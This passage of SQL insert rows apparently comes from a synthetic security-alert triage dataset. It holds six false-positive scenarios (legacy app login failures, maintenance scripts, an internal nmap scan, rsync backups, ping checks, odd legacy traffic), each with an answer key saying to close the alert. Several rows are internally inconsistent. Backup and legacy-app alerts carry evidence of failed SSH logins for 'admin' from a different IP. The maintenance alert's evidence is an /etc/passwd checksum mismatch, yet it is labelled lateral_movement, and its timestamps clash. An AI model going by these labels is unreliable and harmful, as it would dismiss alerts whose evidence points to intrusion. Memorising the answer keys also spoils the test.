2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.332Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"diagnostic-tool\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\diagnostic.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1811, 'Misconfigured Legacy App Triggers Unauthorized Access Alert', 'medium', 'Azure Sentinel', 'An alert for unauthorized access was triggered by a legacy application due to misconfiguration, causing false login attempts.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.40\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server\",\"failed_attempts\":10}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal application with known misconfiguration issues\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The misconfiguration in a legacy application caused false login attempts, resulting in a false positive alert.\"}', 'Intermediate', 'SIEM', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:04:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:03:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:02:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-16T03:01:28.334Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.40\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy-server\\\",\\\"failed_attempts\\\":10}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1812, 'Scheduled Maintenance Activity Mistaken for Persistence Technique', 'low', 'Wazuh', 'Scheduled maintenance scripts were detected as persistence activities due to similarities in script execution patterns.', 'Persistence', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"\",\"username\":\"maintenance_user\",\"hostname\":\"maintenance-server\",\"command_line\":\"/usr/local/bin/maintenance_script.sh\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/local/bin/maintenance_script.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled maintenance script execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The detected activity is a legitimate scheduled maintenance operation, not a persistence technique.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.335Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"command_line\\\":\\\"/usr/local/bin/maintenance_script.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1813, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A series of network scans were detected originating from a known internal IP range. These scans are part of routine IT security assessments.', 'Network Scan', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:23Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"it_admin\",\"hostname\":\"scan_host\",\"command_line\":\"nmap -sS -p 1-65535 192.168.1.200\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS -p 1-65535 192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate network scan command for IT security assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scan\",\"analysis_notes\":\"Alert triggered by authorized IT scans. No malicious activity detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.336Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:15:23Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"scan_host\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.200\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1814, 'Authorized Administrative Backup Processes Detected', 'low', 'Wazuh', 'Backup processes were detected on the server. These are scheduled and authorized administrative tasks.', 'Unauthorized Access', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:40:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"backup_user\",\"hostname\":\"backup_server\",\"command_line\":\"/usr/bin/rsync -av /data /backup\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for scheduled backups\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/rsync -av /data /backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_maintenance\",\"analysis_notes\":\"This is a scheduled and authorized backup process. No unauthorized access detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1815, 'Benign System Health Check Activity', 'low', 'Elastic SIEM', 'System health checks detected on multiple servers. These checks are part of regular monitoring tasks.', 'System Monitoring', 'T1016', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:25:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"10.1.1.20\",\"username\":\"monitor_user\",\"hostname\":\"health_check\",\"command_line\":\"ping -c 4 10.1.1.20\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ping -c 4 10.1.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine system health check command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_monitoring\",\"analysis_notes\":\"Routine system health checks detected. No suspicious activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1816, 'Misconfigured Legacy Application Generating Suspicious Traffic', 'medium', 'Azure Sentinel', 'A legacy application was detected generating potentially suspicious traffic patterns. Investigation revealed it was a misconfiguration.', 'Anomaly Detection', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:34Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"203.0.113.10\",\"username\":\"legacy_app\",\"hostname\":\"legacy_server\",\"command_line\":\"java -jar legacyapp.jar\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"java -jar legacyapp.jar\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Misconfigured application generating unusual traffic\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly_detection\",\"analysis_notes\":\"The traffic was traced back to a misconfigured legacy application. No malicious intent detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
